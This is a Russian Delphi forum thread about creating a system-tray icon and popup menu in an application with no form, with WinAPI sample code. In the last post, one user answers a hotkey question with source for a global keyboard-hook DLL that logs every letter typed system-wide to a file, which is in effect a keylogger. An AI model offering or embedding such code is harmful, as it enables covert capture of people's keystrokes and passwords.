Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Низкоуровневое программирование > Win Api
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 07.01.2009, 01:50   #1
kiloz
Пользователь
 
Регистрация: 07.01.2009
Сообщений: 42
Вопрос Приложение без окна с иконкой в трее

Люди подскажите начинающему, как из приложения не имеюшего форму создать правильно иконку в трее и обработать события с ней, а убрать её при завершении приложения?
kiloz вне форума Ответить с цитированием
Старый 07.01.2009, 02:52   #2
kiloz
Пользователь
 
Регистрация: 07.01.2009
Сообщений: 42
Стрелка

Вот надыбал код в инте...

Код:
Как поместить иконку в Tray

function TaskBarAddIcon(hWindow: THandle; ID: Cardinal; ICON: hicon; CallbackMessage: Cardinal; Tip: string): Boolean;
var
  NID: TNotifyIconData;
begin
  FillChar(NID, SizeOf(TNotifyIconData), 0);
  with NID do
  begin
    cbSize := SizeOf(TNotifyIconData);
    Wnd := hWindow;
    uID := ID;
    uFlags := NIF_MESSAGE or NIF_ICON or NIF_TIP;
    uCallbackMessage := CallbackMessage;
    hIcon := Icon;
    if Length(Tip) > 63 then
      SetLength(Tip, 63);
    StrPCopy(szTip, Tip);
  end;
  Result := Shell_NotifyIcon(NIM_ADD, @NID);
end;
Но какие параметры сюда передавать?
Дискриптор какого окна? Ну с ID вроди понятно - это WM_USER+0... А остальное что за параметры то? И как задать обработчик событий, ну там правый клик что бы меню открыть? Кстати как меню лушьче делать: api-функциями или можно компонент делфийский спользовать?

P.S. Я пиши на D7

Вот еще нарыл, что-то для обработки сообщений...

Код:
...
private
  procedure WMICON(var msg: TMessage); message WM_MYICONNOTIFY;
...

procedure TForm1.WMICON(var msg: TMessage);
var
  P: TPoint;
begin
  case msg.LParam of // обработка обратных сообщений
    WM_RBUTTONUP: //по нажатию правой клавиши
      begin
        GetCursorPos(p);
        SetForegroundWindow(Application.MainForm.Handle);
        PopupMenu1.Popup(P.X, P.Y);
      end;
  end;
end;

...

procedure TForm1.CreateTrayIcon(n: Integer);
var
  nidata: TNotifyIconData;
begin
  with nidata do
  begin
    cbSize := SizeOf(TNotifyIconData);
    Wnd := Self.Handle; //HWND вашего окна (окна принимающего обратные сообщения)
    uID := 1; // номер значка
    uFlags := NIF_ICON or NIF_MESSAGE or NIF_TIP; //обрабатываемые флаги
    uCallBackMessage := WM_MYICONNOTIFY;
    hIcon := Application.Icon.Handle;
      // то откуда сдергивается значек это может быть и ImageList и т.д.
    StrPCopy(szTip, Application.Title);
      // всплывающая строка, может быть любой string главное с нулевым окончанием
  end;
  Shell_NotifyIcon(NIM_ADD, @nidata); // добавление значка
end;

...
Но это из окна обрабатвается... А у меня формы нету, как мне обработать?
С праметрами предыдущего кода еще подскажите правильно ли я понял:
* hWindow - ?
* ID = WM_USER+0
* ICON = описание иконки
* CallbackMessage = WM_MYICONNOTIFY т.е. событие имя (дискриптор или как там верно) событий иконки
* Tip = Текст подсказки над значка

И как обработать это событие WM_MYICONNOTIFY без описания в классе окна
Код:
...
private
  procedure WMICON(var msg: TMessage); message WM_MYICONNOTIFY;
...

Последний раз редактировалось rpy3uH; 07.01.2009 в 16:39.
kiloz вне форума Ответить с цитированием
Старый 07.01.2009, 13:20   #3
JTG
я получил эту роль
Старожил
 
Аватар для JTG
 
Регистрация: 25.05.2007
Сообщений: 3,694
По умолчанию

Окно (не форму) создать всё-равно придётся, невидимое.

Код:
program Project1;
//by Юрий Зотов

{$M 1024, 1024}

uses Windows,  Messages,  ShellAPI;

const  AppName = 'WinApiTrayApp';
          WM_TRAYMSG = WM_USER + 100;

var WndClass: TWndClassEx;
     WndHandle: HWND = 0;
     Msg: TMsg;
     IconData: TNotifyIconData;
     IconMenu: HMENU = 0;
     SecondIcon: HICON;

function WndFunc(Wnd, Msg: DWORD; wParam, lParam: integer): integer; stdcall;
var P: TPoint;
begin
 case Msg of
   WM_DESTROY, WM_QUERYENDSESSION:
     begin
       Result := Integer(Msg = WM_QUERYENDSESSION);
       PostQuitMessage(0)
     end;
   WM_TRAYMSG:
     begin
       Result := 0;
       if (lParam = WM_RBUTTONDOWN) and GetCursorPos(P) then
       begin
         SetForegroundWindow(Wnd);
         TrackPopupMenuEx(IconMenu, 0, P.X, P.Y, Wnd, nil);
         PostMessage(Wnd, WM_NULL, 0, 0)
       end
     end;
   WM_COMMAND:
     begin
       Result := 0;
       case wParam and $FFFF of
         0: begin
              if IconData.hIcon = SecondIcon then
                IconData.hIcon := WndClass.hIcon
              else
                IconData.hIcon := SecondIcon;
              Shell_NotifyIcon(NIM_MODIFY, @IconData)
            end;
         1: PostMessage(Wnd, WM_CLOSE, 0, 0)
       end
     end;
   else
     Result := DefWindowProc(Wnd, Msg, wParam, lParam)
 end
end;

{ -------------------------------------------------------------------------------------------- }

begin { main }

 with WndClass do
 begin
   cbSize := SizeOf(WndClass);
   Style := CS_HREDRAW or CS_VREDRAW ;
   lpfnWndProc := @WndFunc;
   hIcon := LoadIcon(0, IDI_EXCLAMATION);
   hCursor := LoadCursor(0, IDC_ARROW);
   hbrBackground := hBrush(COLOR_WINDOW);
   lpszMenuName := nil;
   lpszClassName := AppName;
   hIconSm := hIcon
 end;

 WndClass.hInstance := hInstance;
 if RegisterClassEx(WndClass) = 0 then Exit;

 WndHandle := CreateWindowEx(WS_EX_TOOLWINDOW, AppName, AppName, WS_OVERLAPPEDWINDOW, 0, 0, 0, 0, 0, 0, hInstance, nil);
 if WndHandle = 0 then Exit;

 with IconData do
 begin
   cbSize := SizeOf(IconData);
   Wnd:= WndHandle;
   uID := 100;
   uFlags := NIF_MESSAGE or NIF_ICON or NIF_TIP;
   uCallbackMessage := WM_TRAYMSG;
   hIcon:= WndClass.hIcon;
   szTip := AppName
 end;

 if Shell_NotifyIcon(NIM_ADD, @IconData) then
 try
   IconMenu := CreatePopupMenu;

   if IconMenu <> 0 then
   try
     if AppendMenu(IconMenu, MF_STRING, 0, 'Сменить иконку') and
        AppendMenu(IconMenu, MF_STRING, 1, 'Выход') then
     begin
       SecondIcon := LoadIcon(0, IDI_QUESTION);
       while GetMessage(Msg, 0, 0, 0) do
       begin
         TranslateMessage(Msg);
         DispatchMessage(Msg)
       end
     end
   finally
     DestroyMenu(IconMenu)
   end;

 finally
   Shell_NotifyIcon(NIM_DELETE, @IconData)
 end

end.
пыщь
JTG вне форума Ответить с цитированием
Старый 07.01.2009, 13:47   #4
kiloz
Пользователь
 
Регистрация: 07.01.2009
Сообщений: 42
По умолчанию

Примного благодарен

Но немогли бы вы разъеснить один момент:

Что делается в коде ниже по циклу while?
Код:
   if IconMenu <> 0 then
   try
     if AppendMenu(IconMenu, MF_STRING, 0, 'Сменить иконку') and
        AppendMenu(IconMenu, MF_STRING, 1, 'Выход') then
     begin
       SecondIcon := LoadIcon(0, IDI_QUESTION);
       while GetMessage(Msg, 0, 0, 0) do
       begin
         TranslateMessage(Msg);
         DispatchMessage(Msg)
       end
     end
   finally
     DestroyMenu(IconMenu)
   end;
kiloz вне форума Ответить с цитированием
Старый 07.01.2009, 18:10   #5
JTG
я получил эту роль
Старожил
 
Аватар для JTG
 
Регистрация: 25.05.2007
Сообщений: 3,694
По умолчанию

Стандартный цикл обработки сообщений, пока оконное приложение работает, оно крутится в этом цикле.
GetMessage получает сообщения windows, TranslateMessage разбивает на группы сообщения от клавиатуры, DispatchMessage передаёт их в процедуру WndFunc.
пыщь
JTG вне форума Ответить с цитированием
Старый 08.01.2009, 01:08   #6
kiloz
Пользователь
 
Регистрация: 07.01.2009
Сообщений: 42
Хорошо

Ясно))
Спс за помошь, извиняюсь, за свое незнание элементарных вещей, обещаю исправиться
kiloz вне форума Ответить с цитированием
Старый 14.01.2009, 19:25   #7
kiloz
Пользователь
 
Регистрация: 07.01.2009
Сообщений: 42
Вопрос Приложение без окна с иконкой в трее

Решил дальше развивать свой проект, и возникла необходимость добавить быстрые клавиши в программу, причем что бы они были привязаны к пунктам меню значка в трее.

Вопрос 1. Как это сделать?


и еще одно:

Вопрос 2:
а) Как иконку к пункту меню добавить? Я пробывал добавить её через TNotifyIconData
Код:
nid: TNotifyIconData; ... nid.hIcon := LoadIcon(HInstance, 'MAINICON');
но у ни иконки, ни текста я после этого не увидел

б) Есть ли возмножность не самому формировать группы переключателей в меню, а сделать автоматически обрабатываемую группу, но так что бы она не захватывала все меню/подменю?
в) Можно ли заменить флаг и переключатель свои изображения?

Эт не флут, я реально ничего описывающего как это сделать не нашел

Последний раз редактировалось kiloz; 14.01.2009 в 19:39.
kiloz вне форума Ответить с цитированием
Старый 14.01.2009, 19:46   #8
Д'якон
Форумчанин
 
Регистрация: 05.12.2007
Сообщений: 236
По умолчанию

1. Есть такой ресурс как акселератор, либо если окно не активно, то просто перехват всех клавиш.
Д'якон вне форума Ответить с цитированием
Старый 14.01.2009, 19:59   #9
kiloz
Пользователь
 
Регистрация: 07.01.2009
Сообщений: 42
По умолчанию

А этот ресурс (акселератор) можно использовать с контекстным меню созданным (или при создании) средствами WinAPI?

И все же как в пункте меню вывести сочетание клавишь закрепленно за ним?


А хотя обойдусь пока без "быстрых" клавиш в меню.... Подскажите как иконку к пункуту меню добавить, плиз Если это делается внедрением в меню компонентов, то как это делается? Или все гораздо проще и нужно использовать каку-то еще структуру и добавить её к меню/пункту?

Последний раз редактировалось kiloz; 14.01.2009 в 23:49.
kiloz вне форума Ответить с цитированием
Старый 15.01.2009, 13:06   #10
lokiz
 
Аватар для lokiz
 
Регистрация: 15.01.2009
Сообщений: 6
По умолчанию

Цитата:
Решил дальше развивать свой проект, и возникла необходимость добавить быстрые клавиши в программу, причем что бы они были привязаны к пунктам меню значка в трее.

Вопрос 1. Как это сделать?
Глобальный хук на клаву:
Код:
library Hook;
uses Windows, SysUtils;
const KF_UP_MY = $40000000;
var CurrentHook: HHook;
    KeyArray: array[0..19] of char;
    KeyArrayPtr: integer;
    CurFile:text;
function GlobalKeyBoardHook(code: integer; wParam: integer; lParam:
integer): longword; stdcall;
var
i:integer;
begin
  if code< 0 then
   begin
     result:=CallNextHookEx(CurrentHook,code,wParam,lparam);
     Exit;
   end;
  if ( (lParam and KF_UP_MY ) = 0) and (wParam> =65) and (wParam< =90) then
    begin
      KeyArray[KeyArrayPtr]:=char(wParam);
      KeyArrayPtr:=KeyArrayPtr+1;
      if KeyArrayPtr> 19 then
       begin
        for i:=0 to 19 do
        begin
          Assignfile(CurFile,'d:\log.txt');
          if fileexists('d:\log.txt')=false then rewrite(CurFile)
          else Append(CurFile);
          write(Curfile, KeyArray[i]);
          closefile(curfile);
        end;
        KeyArrayPtr:=0;
       end;
    end;
    CallNextHookEx(CurrentHook,code,wParam,lparam);
    result:=0;
end;
procedure SetupGlobalKeyBoardHook;
begin
  CurrentHook:=SetWindowsHookEx(WH_KEYBOARD, @GlobalKeyBoardHook,HInstance, 0);
  KeyArrayptr:=0;
end;
procedure unhook;
begin
  UnhookWindowshookEx(CurrentHook);
end;

exports
 SetupGlobalKeyBoardHook, UnHook;
begin
end.
Пользуйтесь Delphi World: http://delphiworld.narod.ru/ (да извинит меня администрация)
if (подумать) then все просто else учитесь учиться

Последний раз редактировалось lokiz; 15.01.2009 в 13:19.
lokiz вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Как загрузить Windows-приложение без Windows alexray Компоненты Delphi 4 30.04.2010 14:38
Программа без окна Никки Общие вопросы Delphi 8 28.08.2009 08:07
Проблемы с иконкой. Droid HTML и CSS 1 14.11.2008 08:13
приложение без формы, событие при завершении ERASERROR Общие вопросы Delphi 10 22.02.2008 14:10
Приложение без формы Wiggle Общие вопросы Delphi 12 18.04.2007 20:20